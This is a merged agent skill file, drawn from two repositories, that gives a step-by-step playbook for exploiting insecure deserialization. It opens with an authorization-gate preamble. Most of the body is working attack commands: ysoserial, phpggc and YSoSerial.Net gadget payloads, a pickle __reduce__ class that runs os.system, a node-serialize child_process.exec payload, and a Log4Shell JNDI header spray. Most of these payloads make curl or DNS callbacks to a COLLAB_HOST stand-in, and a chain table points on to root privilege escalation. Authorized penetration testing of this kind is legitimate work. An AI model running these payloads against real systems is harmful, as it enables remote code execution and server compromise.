domains / security / hunt-insecure-deserialization / hunt-deserialization
Both copies share the same core procedure (Java ysoserial, PHP phpggc, Python pickle, .NET ViewState, Log4Shell/JNDI, Ruby Marshal) and the same detection signals. The sickn33 copy adds a mandatory authorization gate and extra deserialization vectors (PHP phar://, Python yaml.load, Node node-serialize) that the uphiago copy lacks. The uphiago copy adds a Verification section and slightly different curl timeout flags. Crowning one would hide the authorization gate and the extra vectors, so the copies should be combined.
| Repository | Path |
|---|---|
| uphiago/recon-skills | redteam/hunt-deserialization/SKILL.md |
| sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills-claude/skills/hunt-deserialization/SKILL.md |
| Role | Repository | Path |
|---|---|---|
| peer | uphiago/recon-skills | redteam/hunt-deserialization/SKILL.md |
| peer | sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills-claude/skills/hunt-deserialization/SKILL.md |
| adapter | sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills/skills/hunt-deserialization/SKILL.md |
| adapter | sickn33/agentic-awesome-skills | skills/hunt-deserialization/SKILL.md |
---
name: hunt-deserialization
description: Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell, PHP phar://, Python yaml.load, Node node-serialize. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
version: 1.2.0
license: MIT
category: redteam
tags: [deserialization, hunt, redteam]
---
# HUNT-DESERIALIZATION — Insecure Deserialization
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
## Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
**Highest-value chains:**
- **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE
- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
- **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE
- **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE
- **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE
---
## Attack Surface Signals
### Detection Patterns
```bash
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl --max-time 30 --connect-timeout 10 -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
```
### Header / Cookie Signals
```
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
```
---
## Step-by-Step Hunting Methodology
### Phase 1 — Java Deserialization (ysoserial)
```bash
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
```
### Phase 2 — PHP Object Injection
```bash
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
```
### Phase 3 — Python Pickle
```bash
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
```
### Phase 3b — PHP phar://, Python YAML, Node deserialization
- **PHP phar:// (no `unserialize()` call)** — any filesystem function (`file_exists`/`fopen`/`getimagesize`) on a `phar://` path deserializes the archive metadata -> object injection with zero `unserialize()` in code.
```bash
phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot
# then reach phar://uploads/poly.jpg/x via any fs call
```
- **Python `yaml.load()` (CVE-2017-18342)** — pre-5.1 default-unsafe:
`!!python/object/apply:os.system ['curl http://$COLLAB/yaml']`
- **Node `node-serialize` (CVE-2017-5941)** — IIFE marker in any field passed to `unserialize()`:
`{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}`
### Phase 4 — .NET ViewState
```bash
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
```
### Phase 5 — Log4Shell / JNDI
```bash
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
```
### Phase 6 — Ruby Marshal
```bash
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets
```
---
## Chain Table
| Deserialization signal | Chain to | Impact |
|-----------------------|----------|--------|
| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
---
## Automation
```bash
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit
```
---
## Validation
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed
✅ Command output in response: full RCE confirmed
**Severity:** Almost always **Critical** — RCE with server process privileges.
## Verification
1. **ysoserial availability** — check if ysoserial is installed:
```bash
which ysoserial 2>/dev/null || ls /opt/ysoserial*.jar 2>/dev/null | head -1 && echo "PASS: ysoserial found" || echo "NOTE: ysoserial not installed"
```
2. **PHP deserialization test** — verify PHP payload generation:
```bash
php -r "echo serialize(['test'=>'value']);" 2>/dev/null && echo "PASS: PHP serialize works" || echo "NOTE: PHP not available"
```
## Conflicts
- **sickn33/agentic-awesome-skills** includes a mandatory authorization confirmation gate before any probing command; **uphiago/recon-skills** does not include this gate. The combined instruction includes the gate.
- **sickn33/agentic-awesome-skills** includes Phase 3b covering PHP phar://, Python yaml.load, and Node node-serialize; **uphiago/recon-skills** does not include these vectors. The combined instruction includes Phase 3b.
- **uphiago/recon-skills** includes a Verification section with ysoserial and PHP serialize checks; **sickn33/agentic-awesome-skills** does not include this section. The combined instruction includes the Verification section.
- **uphiago/recon-skills** uses `--max-time 30 --connect-timeout 10` on curl commands; **sickn33/agentic-awesome-skills** omits these timeout flags. The combined instruction uses the timeout flags from uphiago/recon-skills.